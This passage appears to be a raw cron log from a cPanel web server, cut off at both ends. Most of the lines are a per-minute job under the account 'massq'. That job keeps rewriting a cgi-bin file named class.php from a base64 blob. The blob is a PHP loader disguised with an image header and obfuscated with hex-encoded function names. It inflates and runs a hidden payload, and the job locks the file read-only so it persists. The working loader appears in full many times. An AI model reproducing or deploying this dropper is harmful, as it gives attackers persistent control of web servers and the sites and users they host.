"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:15:01 server CROND[13451]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 10:15:01 server CROND[13452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:15:01 server CROND[13453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:15:01 server CROND[13454]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:16:01 server CROND[13690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:17:01 server CROND[13765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:18:01 server CROND[13859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:19:01 server CROND[13923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:20:01 server CROND[14061]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 10:20:01 server CROND[14063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:20:01 server CROND[14064]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:20:01 server CROND[14080]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 10:20:01 server CROND[14085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:21:01 server CROND[14324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:22:01 server CROND[14409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:23:01 server CROND[14472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:24:01 server CROND[14538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:25:01 server CROND[14621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:25:01 server CROND[14623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 10:25:01 server CROND[14624]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 10:25:01 server CROND[14622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 10:26:01 server CROND[14742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 10:27:01 server CROND[14914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1